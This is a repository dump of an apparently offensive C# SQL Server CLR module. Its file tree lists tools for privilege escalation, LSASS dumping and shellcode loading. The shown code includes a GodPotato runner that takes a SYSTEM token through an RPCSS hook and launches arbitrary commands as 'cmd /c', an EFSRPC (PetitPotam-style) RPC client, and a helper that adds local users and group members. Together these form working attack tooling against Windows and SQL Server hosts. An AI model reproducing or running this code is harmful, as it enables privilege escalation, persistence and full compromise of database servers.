├── .gitignore
├── Database.sln
├── Database
├── CLR_module.sqlproj
├── CLR_module
│ ├── BadPotato.cs
│ ├── COMM_FAULT_OFFSETS.cs
│ ├── EfsrTiny.cs
│ ├── GodPotato.cs
│ ├── LocalGroupUserHelper.cs
│ ├── MIDL_STUB_DESC.cs
│ ├── Patch.cs
│ ├── Potato.cs
│ ├── ProcessWaitHandle.cs
│ ├── RDP.cs
│ ├── RPC_CLIENT_INTERFACE.cs
│ ├── RPC_SYNTAX_IDENTIFIER.cs
│ ├── RPC_VERSION.cs
│ ├── SharpToken.cs
│ ├── Sharploader.cs
│ ├── adduser.cs
│ ├── basefun.cs
│ ├── download.cs
│ ├── dumplsass.cs
│ ├── exec.cs
│ ├── getav.cs
│ └── shellcodeloader.cs
├── NativeAPI
│ ├── GodPotatoContext.cs
│ ├── GodPotatoUnmarshalTrigger.cs
│ ├── IStreamImpl.cs
│ ├── NativeMethods.cs
│ ├── ObjRef.cs
│ └── UnmarshalDCOM.cs
├── PingCastle
│ ├── NativeMethods.cs
│ └── RPC
│ │ ├── SSPI.cs
│ │ ├── dcom.cs
│ │ ├── lsa.cs
│ │ ├── nativemethods.cs
│ │ ├── nrpc.cs
│ │ ├── nullsession.cs
│ │ ├── rpcapi.cs
│ │ ├── samr.cs
│ │ └── spool.cs
├── StoredProcedures.cs
└── sharpsql.cs
└── README.MD
/.gitignore:
--------------------------------------------------------------------------------
1 | ## Ignore Visual Studio temporary files, build results, and
2 | ## files generated by popular Visual Studio add-ons.
3 | ##
4 | ## Get latest from https://github.com/github/gitignore/blob/main/VisualStudio.gitignore
5 |
6 | # User-specific files
7 | *.rsuser
8 | *.suo
9 | *.user
10 | *.userosscache
11 | *.sln.docstates
12 |
13 | # User-specific files (MonoDevelop/Xamarin Studio)
14 | *.userprefs
15 |
16 | # Mono auto generated files
17 | mono_crash.*
18 |
19 | # Build results
20 | [Dd]ebug/
21 | [Dd]ebugPublic/
22 | [Rr]elease/
23 | [Rr]eleases/
24 | x64/
25 | x86/
26 | [Ww][Ii][Nn]32/
27 | [Aa][Rr][Mm]/
28 | [Aa][Rr][Mm]64/
29 | bld/
30 | [Bb]in/
31 | [Oo]bj/
32 | [Ll]og/
33 | [Ll]ogs/
34 |
35 | # Visual Studio 2015/2017 cache/options directory
36 | .vs/
37 | # Uncomment if you have tasks that create the project's static files in wwwroot
38 | #wwwroot/
39 |
40 | # Visual Studio 2017 auto generated files
41 | Generated\ Files/
42 |
43 | # MSTest test Results
44 | [Tt]est[Rr]esult*/
45 | [Bb]uild[Ll]og.*
46 |
47 | # NUnit
48 | *.VisualState.xml
49 | TestResult.xml
50 | nunit-*.xml
51 |
52 | # Build Results of an ATL Project
53 | [Dd]ebugPS/
54 | [Rr]eleasePS/
55 | dlldata.c
56 |
57 | # Benchmark Results
58 | BenchmarkDotNet.Artifacts/
59 |
60 | # .NET Core
61 | project.lock.json
62 | project.fragment.lock.json
63 | artifacts/
64 |
65 | # ASP.NET Scaffolding
66 | ScaffoldingReadMe.txt
67 |
68 | # StyleCop
69 | StyleCopReport.xml
70 |
71 | # Files built by Visual Studio
72 | *_i.c
73 | *_p.c
74 | *_h.h
75 | *.ilk
76 | *.meta
77 | *.obj
78 | *.iobj
79 | *.pch
80 | *.pdb
81 | *.ipdb
82 | *.pgc
83 | *.pgd
84 | *.rsp
85 | *.sbr
86 | *.tlb
87 | *.tli
88 | *.tlh
89 | *.tmp
90 | *.tmp_proj
91 | *_wpftmp.csproj
92 | *.log
93 | *.tlog
94 | *.vspscc
95 | *.vssscc
96 | .builds
97 | *.pidb
98 | *.svclog
99 | *.scc
100 |
101 | # Chutzpah Test files
102 | _Chutzpah*
103 |
104 | # Visual C++ cache files
105 | ipch/
106 | *.aps
107 | *.ncb
108 | *.opendb
109 | *.opensdf
110 | *.sdf
111 | *.cachefile
112 | *.VC.db
113 | *.VC.VC.opendb
114 |
115 | # Visual Studio profiler
116 | *.psess
117 | *.vsp
118 | *.vspx
119 | *.sap
120 |
121 | # Visual Studio Trace Files
122 | *.e2e
123 |
124 | # TFS 2012 Local Workspace
125 | $tf/
126 |
127 | # Guidance Automation Toolkit
128 | *.gpState
129 |
130 | # ReSharper is a .NET coding add-in
131 | _ReSharper*/
132 | *.[Rr]e[Ss]harper
133 | *.DotSettings.user
134 |
135 | # TeamCity is a build add-in
136 | _TeamCity*
137 |
138 | # DotCover is a Code Coverage Tool
139 | *.dotCover
140 |
141 | # AxoCover is a Code Coverage Tool
142 | .axoCover/*
143 | !.axoCover/settings.json
144 |
145 | # Coverlet is a free, cross platform Code Coverage Tool
146 | coverage*.json
147 | coverage*.xml
148 | coverage*.info
149 |
150 | # Visual Studio code coverage results
151 | *.coverage
152 | *.coveragexml
153 |
154 | # NCrunch
155 | _NCrunch_*
156 | .*crunch*.local.xml
157 | nCrunchTemp_*
158 |
159 | # MightyMoose
160 | *.mm.*
161 | AutoTest.Net/
162 |
163 | # Web workbench (sass)
164 | .sass-cache/
165 |
166 | # Installshield output folder
167 | [Ee]xpress/
168 |
169 | # DocProject is a documentation generator add-in
170 | DocProject/buildhelp/
171 | DocProject/Help/*.HxT
172 | DocProject/Help/*.HxC
173 | DocProject/Help/*.hhc
174 | DocProject/Help/*.hhk
175 | DocProject/Help/*.hhp
176 | DocProject/Help/Html2
177 | DocProject/Help/html
178 |
179 | # Click-Once directory
180 | publish/
181 |
182 | # Publish Web Output
183 | *.[Pp]ublish.xml
184 | *.azurePubxml
185 | # Note: Comment the next line if you want to checkin your web deploy settings,
186 | # but database connection strings (with potential passwords) will be unencrypted
187 | *.pubxml
188 | *.publishproj
189 |
190 | # Microsoft Azure Web App publish settings. Comment the next line if you want to
191 | # checkin your Azure Web App publish settings, but sensitive information contained
192 | # in these scripts will be unencrypted
193 | PublishScripts/
194 |
195 | # NuGet Packages
196 | *.nupkg
197 | # NuGet Symbol Packages
198 | *.snupkg
199 | # The packages folder can be ignored because of Package Restore
200 | **/[Pp]ackages/*
201 | # except build/, which is used as an MSBuild target.
202 | !**/[Pp]ackages/build/
203 | # Uncomment if necessary however generally it will be regenerated when needed
204 | #!**/[Pp]ackages/repositories.config
205 | # NuGet v3's project.json files produces more ignorable files
206 | *.nuget.props
207 | *.nuget.targets
208 |
209 | # Microsoft Azure Build Output
210 | csx/
211 | *.build.csdef
212 |
213 | # Microsoft Azure Emulator
214 | ecf/
215 | rcf/
216 |
217 | # Windows Store app package directories and files
218 | AppPackages/
219 | BundleArtifacts/
220 | Package.StoreAssociation.xml
221 | _pkginfo.txt
222 | *.appx
223 | *.appxbundle
224 | *.appxupload
225 |
226 | # Visual Studio cache files
227 | # files ending in .cache can be ignored
228 | *.[Cc]ache
229 | # but keep track of directories ending in .cache
230 | !?*.[Cc]ache/
231 |
232 | # Others
233 | ClientBin/
234 | ~$*
235 | *~
236 | *.dbmdl
237 | *.dbproj.schemaview
238 | *.jfm
239 | *.pfx
240 | *.publishsettings
241 | orleans.codegen.cs
242 |
243 | # Including strong name files can present a security risk
244 | # (https://github.com/github/gitignore/pull/2483#issue-259490424)
245 | #*.snk
246 |
247 | # Since there are multiple workflows, uncomment next line to ignore bower_components
248 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622)
249 | #bower_components/
250 |
251 | # RIA/Silverlight projects
252 | Generated_Code/
253 |
254 | # Backup & report files from converting an old project file
255 | # to a newer Visual Studio version. Backup files are not needed,
256 | # because we have git ;-)
257 | _UpgradeReport_Files/
258 | Backup*/
259 | UpgradeLog*.XML
260 | UpgradeLog*.htm
261 | ServiceFabricBackup/
262 | *.rptproj.bak
263 |
264 | # SQL Server files
265 | *.mdf
266 | *.ldf
267 | *.ndf
268 |
269 | # Business Intelligence projects
270 | *.rdl.data
271 | *.bim.layout
272 | *.bim_*.settings
273 | *.rptproj.rsuser
274 | *- [Bb]ackup.rdl
275 | *- [Bb]ackup ([0-9]).rdl
276 | *- [Bb]ackup ([0-9][0-9]).rdl
277 |
278 | # Microsoft Fakes
279 | FakesAssemblies/
280 |
281 | # GhostDoc plugin setting file
282 | *.GhostDoc.xml
283 |
284 | # Node.js Tools for Visual Studio
285 | .ntvs_analysis.dat
286 | node_modules/
287 |
288 | # Visual Studio 6 build log
289 | *.plg
290 |
291 | # Visual Studio 6 workspace options file
292 | *.opt
293 |
294 | # Visual Studio 6 auto-generated workspace file (contains which files were open etc.)
295 | *.vbw
296 |
297 | # Visual Studio 6 auto-generated project file (contains which files were open etc.)
298 | *.vbp
299 |
300 | # Visual Studio 6 workspace and project file (working project files containing files to include in project)
301 | *.dsw
302 | *.dsp
303 |
304 | # Visual Studio 6 technical files
305 | *.ncb
306 | *.aps
307 |
308 | # Visual Studio LightSwitch build output
309 | **/*.HTMLClient/GeneratedArtifacts
310 | **/*.DesktopClient/GeneratedArtifacts
311 | **/*.DesktopClient/ModelManifest.xml
312 | **/*.Server/GeneratedArtifacts
313 | **/*.Server/ModelManifest.xml
314 | _Pvt_Extensions
315 |
316 | # Paket dependency manager
317 | .paket/paket.exe
318 | paket-files/
319 |
320 | # FAKE - F# Make
321 | .fake/
322 |
323 | # CodeRush personal settings
324 | .cr/personal
325 |
326 | # Python Tools for Visual Studio (PTVS)
327 | __pycache__/
328 | *.pyc
329 |
330 | # Cake - Uncomment if you are using it
331 | # tools/**
332 | # !tools/packages.config
333 |
334 | # Tabs Studio
335 | *.tss
336 |
337 | # Telerik's JustMock configuration file
338 | *.jmconfig
339 |
340 | # BizTalk build output
341 | *.btp.cs
342 | *.btm.cs
343 | *.odx.cs
344 | *.xsd.cs
345 |
346 | # OpenCover UI analysis results
347 | OpenCover/
348 |
349 | # Azure Stream Analytics local run output
350 | ASALocalRun/
351 |
352 | # MSBuild Binary and Structured Log
353 | *.binlog
354 |
355 | # NVidia Nsight GPU debugger configuration file
356 | *.nvuser
357 |
358 | # MFractors (Xamarin productivity tool) working folder
359 | .mfractor/
360 |
361 | # Local History for Visual Studio
362 | .localhistory/
363 |
364 | # Visual Studio History (VSHistory) files
365 | .vshistory/
366 |
367 | # BeatPulse healthcheck temp database
368 | healthchecksdb
369 |
370 | # Backup folder for Package Reference Convert tool in Visual Studio 2017
371 | MigrationBackup/
372 |
373 | # Ionide (cross platform F# VS Code tools) working folder
374 | .ionide/
375 |
376 | # Fody - auto-generated XML schema
377 | FodyWeavers.xsd
378 |
379 | # VS Code files for those working on multiple tools
380 | .vscode/*
381 | !.vscode/settings.json
382 | !.vscode/tasks.json
383 | !.vscode/launch.json
384 | !.vscode/extensions.json
385 | *.code-workspace
386 |
387 | # Local History for Visual Studio Code
388 | .history/
389 |
390 | # Windows Installer files from build outputs
391 | *.cab
392 | *.msi
393 | *.msix
394 | *.msm
395 | *.msp
396 |
397 | # JetBrains Rider
398 | *.sln.iml
--------------------------------------------------------------------------------
/Database.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 17
4 | VisualStudioVersion = 17.3.32929.385
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{00D1A9C2-B5F0-4AF3-8072-F6C62B433612}") = "CLR_module", "Database\CLR_module.sqlproj", "{29953B2D-B106-4887-94FF-CF22B9792E69}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|Any CPU = Debug|Any CPU
11 | Release|Any CPU = Release|Any CPU
12 | EndGlobalSection
13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
14 | {29953B2D-B106-4887-94FF-CF22B9792E69}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
15 | {29953B2D-B106-4887-94FF-CF22B9792E69}.Debug|Any CPU.Build.0 = Debug|Any CPU
16 | {29953B2D-B106-4887-94FF-CF22B9792E69}.Debug|Any CPU.Deploy.0 = Debug|Any CPU
17 | {29953B2D-B106-4887-94FF-CF22B9792E69}.Release|Any CPU.ActiveCfg = Release|Any CPU
18 | {29953B2D-B106-4887-94FF-CF22B9792E69}.Release|Any CPU.Build.0 = Release|Any CPU
19 | {29953B2D-B106-4887-94FF-CF22B9792E69}.Release|Any CPU.Deploy.0 = Release|Any CPU
20 | EndGlobalSection
21 | GlobalSection(SolutionProperties) = preSolution
22 | HideSolutionNode = FALSE
23 | EndGlobalSection
24 | GlobalSection(ExtensibilityGlobals) = postSolution
25 | SolutionGuid = {ECE05DC4-1C0E-4D6D-B699-9B486425EFAF}
26 | EndGlobalSection
27 | EndGlobal
28 |
--------------------------------------------------------------------------------
/Database/CLR_module.sqlproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | Debug
5 | AnyCPU
6 | CLR_module
7 | 2.0
8 | 4.1
9 | 10.0
10 | {29953b2d-b106-4887-94ff-cf22b9792e69}
11 | Microsoft.Data.Tools.Schema.Sql.Sql90DatabaseSchemaProvider
12 | Database
13 |
14 |
15 | Database
16 | Database
17 | 1033, CI
18 | BySchemaAndSchemaType
19 | True
20 | v2.0
21 | CS
22 | Properties
23 | False
24 | True
25 | True
26 |
27 | UNSAFE
28 |
29 |
30 | bin\Release\
31 | $(MSBuildProjectName).sql
32 | False
33 | none
34 | true
35 | false
36 | true
37 | prompt
38 | 4
39 |
40 |
41 | bin\Debug\
42 | $(MSBuildProjectName).sql
43 | false
44 | true
45 | none
46 | false
47 | true
48 | true
49 | prompt
50 | 4
51 |
52 |
53 | 11.0
54 |
55 | True
56 | 11.0
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 |
94 |
95 |
96 |
97 |
98 |
99 |
100 |
101 |
102 |
103 |
104 |
105 |
106 |
107 |
108 |
109 |
110 |
111 |
112 |
113 |
--------------------------------------------------------------------------------
/Database/CLR_module/COMM_FAULT_OFFSETS.cs:
--------------------------------------------------------------------------------
1 | namespace CLR_module;
2 |
3 | internal struct COMM_FAULT_OFFSETS
4 | {
5 | public short CommOffset;
6 |
7 | public short FaultOffset;
8 | }
9 |
--------------------------------------------------------------------------------
/Database/CLR_module/EfsrTiny.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Runtime.InteropServices;
3 |
4 | namespace CLR_module;
5 |
6 | internal class EfsrTiny
7 | {
8 | private delegate IntPtr allocmemory(int size);
9 |
10 | private delegate void freememory(IntPtr memory);
11 |
12 | private static byte[] MIDL_ProcFormatStringx86 = new byte[56]
13 | {
14 | 0, 0, 0, 72, 0, 0, 0, 0, 0, 0,
15 | 20, 0, 50, 0, 0, 0, 8, 0, 64, 0,
16 | 70, 4, 8, 1, 0, 0, 0, 0, 0, 0,
17 | 16, 1, 4, 0, 6, 0, 11, 1, 8, 0,
18 | 12, 0, 72, 0, 12, 0, 8, 0, 112, 0,
19 | 16, 0, 8, 0, 0, 0
20 | };
21 |
22 | private static byte[] MIDL_ProcFormatStringx64 = new byte[58]
23 | {
24 | 0, 0, 0, 72, 0, 0, 0, 0, 0, 0,
25 | 40, 0, 50, 0, 0, 0, 8, 0, 64, 0,
26 | 70, 4, 10, 1, 0, 0, 0, 0, 0, 0,
27 | 0, 0, 16, 1, 8, 0, 6, 0, 11, 1,
28 | 16, 0, 12, 0, 72, 0, 24, 0, 8, 0,
29 | 112, 0, 32, 0, 8, 0, 0, 0
30 | };
31 |
32 | private static byte[] MIDL_TypeFormatStringx86 = new byte[18]
33 | {
34 | 0, 0, 0, 0, 17, 4, 2, 0, 48, 160,
35 | 0, 0, 17, 8, 37, 92, 0, 0
36 | };
37 |
38 | private static byte[] MIDL_TypeFormatStringx64 = new byte[18]
39 | {
40 | 0, 0, 0, 0, 17, 4, 2, 0, 48, 160,
41 | 0, 0, 17, 8, 37, 92, 0, 0
42 | };
43 |
44 | private Guid interfaceId;
45 |
46 | private byte[] MIDL_ProcFormatString;
47 |
48 | private byte[] MIDL_TypeFormatString;
49 |
50 | private GCHandle procString;
51 |
52 | private GCHandle formatString;
53 |
54 | private GCHandle stub;
55 |
56 | private GCHandle faultoffsets;
57 |
58 | private GCHandle clientinterface;
59 |
60 | private string PipeName;
61 |
62 | private allocmemory AllocateMemoryDelegate = AllocateMemory;
63 |
64 | private freememory FreeMemoryDelegate = FreeMemory;
65 |
66 | public uint RPCTimeOut = 5000u;
67 |
68 | [DllImport("Rpcrt4.dll", CallingConvention = CallingConvention.StdCall, CharSet = CharSet.Unicode, EntryPoint = "RpcBindingFromStringBindingW")]
69 | private static extern int RpcBindingFromStringBinding(string bindingString, out IntPtr lpBinding);
70 |
71 | [DllImport("Rpcrt4.dll", CallingConvention = CallingConvention.Cdecl, CharSet = CharSet.Unicode, EntryPoint = "NdrClientCall2")]
72 | private static extern IntPtr NdrClientCall2x86(IntPtr pMIDL_STUB_DESC, IntPtr formatString, IntPtr args);
73 |
74 | [DllImport("Rpcrt4.dll", CallingConvention = CallingConvention.StdCall, CharSet = CharSet.Unicode)]
75 | private static extern int RpcBindingFree(ref IntPtr lpString);
76 |
77 | [DllImport("Rpcrt4.dll", CallingConvention = CallingConvention.StdCall, CharSet = CharSet.Unicode, EntryPoint = "RpcStringBindingComposeW")]
78 | private static extern int RpcStringBindingCompose(string ObjUuid, string ProtSeq, string NetworkAddr, string Endpoint, string Options, out IntPtr lpBindingString);
79 |
80 | [DllImport("Rpcrt4.dll", CallingConvention = CallingConvention.StdCall)]
81 | private static extern int RpcBindingSetOption(IntPtr Binding, uint Option, IntPtr OptionValue);
82 |
83 | [DllImport("Rpcrt4.dll", CallingConvention = CallingConvention.Cdecl, CharSet = CharSet.Unicode, EntryPoint = "NdrClientCall2")]
84 | internal static extern IntPtr NdrClientCall2x64(IntPtr pMIDL_STUB_DESC, IntPtr formatString, IntPtr binding, out IntPtr hContext, string FileName, int Flags);
85 |
86 | [DllImport("Rpcrt4.dll", EntryPoint = "RpcBindingSetAuthInfoW", CallingConvention = CallingConvention.StdCall, CharSet = CharSet.Unicode, SetLastError = false)]
87 | private static extern Int32 RpcBindingSetAuthInfo(IntPtr lpBinding, string ServerPrincName, UInt32 AuthnLevel, UInt32 AuthnSvc, IntPtr AuthIdentity, UInt32 AuthzSvc);
88 |
89 | public EfsrTiny()
90 | {
91 | interfaceId = new Guid("c681d488-d850-11d0-8c52-00c04fd90f7e");
92 | if (IntPtr.Size == 8)
93 | {
94 | InitializeStub(interfaceId, MIDL_ProcFormatStringx64, MIDL_TypeFormatStringx64, "\\pipe\\lsarpc", 1, 0);
95 | }
96 | else
97 | {
98 | InitializeStub(interfaceId, MIDL_ProcFormatStringx86, MIDL_TypeFormatStringx86, "\\pipe\\lsarpc", 1, 0);
99 | }
100 | }
101 |
102 | ~EfsrTiny()
103 | {
104 | freeStub();
105 | }
106 |
107 | public int EfsRpcOpenFileRaw(out IntPtr hContext, string FileName, int Flags)
108 | {
109 | IntPtr intPtr = IntPtr.Zero;
110 | IntPtr intPtr2 = Marshal.StringToHGlobalUni(FileName);
111 | hContext = IntPtr.Zero;
112 | try
113 | {
114 | if (IntPtr.Size == 8)
115 | {
116 | intPtr = NdrClientCall2x64(GetStubHandle(), GetProcStringHandle(2), Bind(Marshal.StringToHGlobalUni("localhost")), out hContext, FileName, Flags);
117 | }
118 | else
119 | {
120 | IntPtr zero = IntPtr.Zero;
121 | GCHandle gCHandle = GCHandle.Alloc(zero, GCHandleType.Pinned);
122 | IntPtr intPtr3 = gCHandle.AddrOfPinnedObject();
123 | try
124 | {
125 | intPtr = CallNdrClientCall2x86(2, Bind(Marshal.StringToHGlobalUni("localhost")), intPtr3, intPtr2, IntPtr.Zero);
126 | hContext = Marshal.ReadIntPtr(intPtr3);
127 | }
128 | finally
129 | {
130 | gCHandle.Free();
131 | }
132 | }
133 | }
134 | catch (SEHException)
135 | {
136 | int exceptionCode = Marshal.GetExceptionCode();
137 | Console.WriteLine("[x]EfsRpcOpenFileRaw failed: " + exceptionCode);
138 | return exceptionCode;
139 | }
140 | finally
141 | {
142 | if (intPtr2 != IntPtr.Zero)
143 | {
144 | Marshal.FreeHGlobal(intPtr2);
145 | }
146 | }
147 | return (int)intPtr.ToInt64();
148 | }
149 |
150 | protected void InitializeStub(Guid interfaceID, byte[] MIDL_ProcFormatString, byte[] MIDL_TypeFormatString, string pipe, ushort MajorVerson, ushort MinorVersion)
151 | {
152 | this.MIDL_ProcFormatString = MIDL_ProcFormatString;
153 | this.MIDL_TypeFormatString = MIDL_TypeFormatString;
154 | PipeName = pipe;
155 | procString = GCHandle.Alloc(this.MIDL_ProcFormatString, GCHandleType.Pinned);
156 | RPC_CLIENT_INTERFACE rPC_CLIENT_INTERFACE = new RPC_CLIENT_INTERFACE(interfaceID, MajorVerson, MinorVersion);
157 | COMM_FAULT_OFFSETS cOMM_FAULT_OFFSETS = default(COMM_FAULT_OFFSETS);
158 | cOMM_FAULT_OFFSETS.CommOffset = -1;
159 | cOMM_FAULT_OFFSETS.FaultOffset = -1;
160 | faultoffsets = GCHandle.Alloc(cOMM_FAULT_OFFSETS, GCHandleType.Pinned);
161 | clientinterface = GCHandle.Alloc(rPC_CLIENT_INTERFACE, GCHandleType.Pinned);
162 | formatString = GCHandle.Alloc(MIDL_TypeFormatString, GCHandleType.Pinned);
163 | MIDL_STUB_DESC mIDL_STUB_DESC = new MIDL_STUB_DESC(formatString.AddrOfPinnedObject(), clientinterface.AddrOfPinnedObject(), Marshal.GetFunctionPointerForDelegate(AllocateMemoryDelegate), Marshal.GetFunctionPointerForDelegate(FreeMemoryDelegate));
164 | stub = GCHandle.Alloc(mIDL_STUB_DESC, GCHandleType.Pinned);
165 | }
166 |
167 | protected void freeStub()
168 | {
169 | procString.Free();
170 | faultoffsets.Free();
171 | clientinterface.Free();
172 | formatString.Free();
173 | stub.Free();
174 | }
175 |
176 | protected static IntPtr AllocateMemory(int size)
177 | {
178 | return Marshal.AllocHGlobal(size);
179 | }
180 |
181 | protected static void FreeMemory(IntPtr memory)
182 | {
183 | Marshal.FreeHGlobal(memory);
184 | }
185 |
186 | protected IntPtr Bind(IntPtr IntPtrserver)
187 | {
188 | string server = Marshal.PtrToStringUni(IntPtrserver);
189 | string networkAddr = Marshal.PtrToStringUni(IntPtrserver);
190 | IntPtr lpBindingString = IntPtr.Zero;
191 | IntPtr lpBinding = IntPtr.Zero;
192 | int num = RpcStringBindingCompose(interfaceId.ToString(), "ncacn_np", networkAddr, PipeName, null, out lpBindingString);
193 | if (num != 0)
194 | {
195 | Console.WriteLine("[x]RpcStringBindingCompose failed with status 0x" + num.ToString("x"));
196 | return IntPtr.Zero;
197 | }
198 | num = RpcBindingFromStringBinding(Marshal.PtrToStringUni(lpBindingString), out lpBinding);
199 | RpcBindingFree(ref lpBindingString);
200 | if (num != 0)
201 | {
202 | Console.WriteLine("[x]RpcBindingFromStringBinding failed with status 0x" + num.ToString("x"));
203 | return IntPtr.Zero;
204 | }
205 |
206 | num = RpcBindingSetAuthInfo(lpBinding, server, /* RPC_C_AUTHN_LEVEL_PKT_PRIVACY */ 6, /* RPC_C_AUTHN_GSS_NEGOTIATE */ 9, IntPtr.Zero, AuthzSvc: 16);
207 | if (num != 0)
208 | {
209 | Console.WriteLine("[x] RpcBindingSetAuthInfo failed with status 0x" + num.ToString("x"));
210 | }
211 | num = RpcBindingSetOption(lpBinding, 12u, new IntPtr(RPCTimeOut));
212 | if (num != 0)
213 | {
214 | Console.WriteLine("[x]RpcBindingSetOption failed with status 0x" + num.ToString("x"));
215 | }
216 | Console.WriteLine("[!]binding ok (handle=" + lpBinding.ToString("x") + ")");
217 | return lpBinding;
218 | }
219 |
220 | protected IntPtr GetProcStringHandle(int offset)
221 | {
222 | return Marshal.UnsafeAddrOfPinnedArrayElement(MIDL_ProcFormatString, offset);
223 | }
224 |
225 | protected IntPtr GetStubHandle()
226 | {
227 | return stub.AddrOfPinnedObject();
228 | }
229 |
230 | protected IntPtr CallNdrClientCall2x86(int offset, params IntPtr[] args)
231 | {
232 | GCHandle gCHandle = GCHandle.Alloc(args, GCHandleType.Pinned);
233 | try
234 | {
235 | return NdrClientCall2x86(GetStubHandle(), GetProcStringHandle(offset), gCHandle.AddrOfPinnedObject());
236 | }
237 | finally
238 | {
239 | gCHandle.Free();
240 | }
241 | }
242 | }
243 |
--------------------------------------------------------------------------------
/Database/CLR_module/GodPotato.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Security.Principal;
3 | using SharpToken;
4 | using GodPotato.NativeAPI;
5 | using System.IO;
6 | using Microsoft.SqlServer.Server;
7 |
8 | namespace CLR_module;
9 |
10 | internal class GodPotatoRun
11 | {
12 | public static void GodPotatoPorc(string prog, string arg)
13 | {
14 | TextWriter ConsoleWriter = Console.Out;
15 | string lpCommandLine;
16 | try
17 | {
18 | GodPotatoContext godPotatoContext = new GodPotatoContext(ConsoleWriter, Guid.NewGuid().ToString());
19 |
20 | SqlContext.Pipe.Send(String.Format("[*] CombaseModule: 0x{0:x}", godPotatoContext.CombaseModule));
21 | SqlContext.Pipe.Send(String.Format("[*] DispatchTable: 0x{0:x}", godPotatoContext.DispatchTablePtr));
22 | SqlContext.Pipe.Send(String.Format("[*] UseProtseqFunction: 0x{0:x}", godPotatoContext.UseProtseqFunctionPtr));
23 | SqlContext.Pipe.Send(String.Format("[*] UseProtseqFunctionParamCount: {0}", godPotatoContext.UseProtseqFunctionParamCount));
24 |
25 | SqlContext.Pipe.Send("[*] HookRPC");
26 | godPotatoContext.HookRPC();
27 | SqlContext.Pipe.Send("[*] Start PipeServer");
28 | godPotatoContext.Start();
29 | GodPotatoUnmarshalTrigger unmarshalTrigger = new GodPotatoUnmarshalTrigger(godPotatoContext);
30 | try
31 | {
32 | SqlContext.Pipe.Send("[*] Trigger RPCSS");
33 | int hr = unmarshalTrigger.Trigger();
34 | SqlContext.Pipe.Send(String.Format("[*] UnmarshalObject: 0x{0:x}", hr));
35 |
36 | }
37 | catch (Exception e)
38 | {
39 | SqlContext.Pipe.Send(e.ToString());
40 | }
41 |
42 |
43 | WindowsIdentity systemIdentity = godPotatoContext.GetToken();
44 | if (systemIdentity != null)
45 | {
46 | SqlContext.Pipe.Send("[*] CurrentUser: " + systemIdentity.Name);
47 | if (prog.Length == 0)
48 | {
49 | lpCommandLine = "cmd /c " + arg;
50 | }
51 | else
52 | {
53 | lpCommandLine = prog + " " + arg;
54 | }
55 |
56 | TokenuUils.createProcessReadOut(ConsoleWriter, systemIdentity.Token, lpCommandLine);
57 |
58 | }
59 | else
60 | {
61 | SqlContext.Pipe.Send("[!] Failed to impersonate security context token");
62 | }
63 | godPotatoContext.Restore();
64 | godPotatoContext.Stop();
65 | }
66 | catch (Exception e)
67 | {
68 | SqlContext.Pipe.Send("[!] " + e.Message);
69 |
70 | }
71 |
72 | }
73 |
74 |
75 | }
76 |
--------------------------------------------------------------------------------
/Database/CLR_module/LocalGroupUserHelper.cs:
--------------------------------------------------------------------------------
1 | using System.Runtime.InteropServices;
2 | using Microsoft.SqlServer.Server;
3 |
4 | namespace CLR_module;
5 |
6 | public class LocalGroupUserHelper
7 | {
8 | [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
9 | public struct LOCALGROUP_MEMBERS_INFO_3
10 | {
11 | public string domainandname;
12 | }
13 |
14 | [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
15 | public struct USER_INFO_1
16 | {
17 | public string usri1_name;
18 |
19 | public string usri1_password;
20 |
21 | public int usri1_password_age;
22 |
23 | public int usri1_priv;
24 |
25 | public string usri1_home_dir;
26 |
27 | public string comment;
28 |
29 | public int usri1_flags;
30 |
31 | public string usri1_script_path;
32 | }
33 |
34 | [DllImport("Netapi32.dll")]
35 | private static extern int NetUserAdd([MarshalAs(UnmanagedType.LPWStr)] string servername, int level, ref USER_INFO_1 buf, int parm_err);
36 |
37 | [DllImport("Netapi32.dll")]
38 | private static extern int NetLocalGroupAddMembers([MarshalAs(UnmanagedType.LPWStr)] string servername, [MarshalAs(UnmanagedType.LPWStr)] string groupname, int level, ref LOCALGROUP_MEMBERS_INFO_3 buf, int totalentries);
39 |
40 | public void AddUser(string serverName, string userName, string password, string strComment)
41 | {
42 | USER_INFO_1 buf = default(USER_INFO_1);
43 | buf.usri1_name = userName;
44 | buf.usri1_password = password;
45 | buf.usri1_priv = 1;
46 | buf.usri1_home_dir = null;
47 | buf.comment = strComment;
48 | buf.usri1_script_path = null;
49 | if (NetUserAdd(serverName, 1, ref buf, 0) != 0)
50 | {
51 | SqlContext.Pipe.Send("[X] Error Adding User");
52 | }
53 | else
54 | {
55 | SqlContext.Pipe.Send("[*] Adding User success");
56 | }
57 | }
58 |
59 | public void GroupAddMembers(string serverName, string groupName, string userName)
60 | {
61 | LOCALGROUP_MEMBERS_INFO_3 buf = default(LOCALGROUP_MEMBERS_INFO_3);
62 | buf.domainandname = userName;
63 | if (NetLocalGroupAddMembers(serverName, groupName, 3, ref buf, 1) != 0)
64 | {
65 | SqlContext.Pipe.Send("[X] Error Adding Group Member");
66 | }
67 | else
68 | {
69 | SqlContext.Pipe.Send("[*] Adding Group Member success");
70 | }
71 | }
72 | }
73 |
--------------------------------------------------------------------------------
/Database/CLR_module/MIDL_STUB_DESC.cs:
--------------------------------------------------------------------------------
1 | using System;
2 |
3 | namespace CLR_module;
4 |
5 | internal struct MIDL_STUB_DESC
6 | {
7 | public IntPtr RpcInterfaceInformation;
8 |
9 | public IntPtr pfnAllocate;
10 |
11 | public IntPtr pfnFree;
12 |
13 | public IntPtr pAutoBindHandle;
14 |
15 | public IntPtr apfnNdrRundownRoutines;
16 |
17 | public IntPtr aGenericBindingRoutinePairs;
18 |
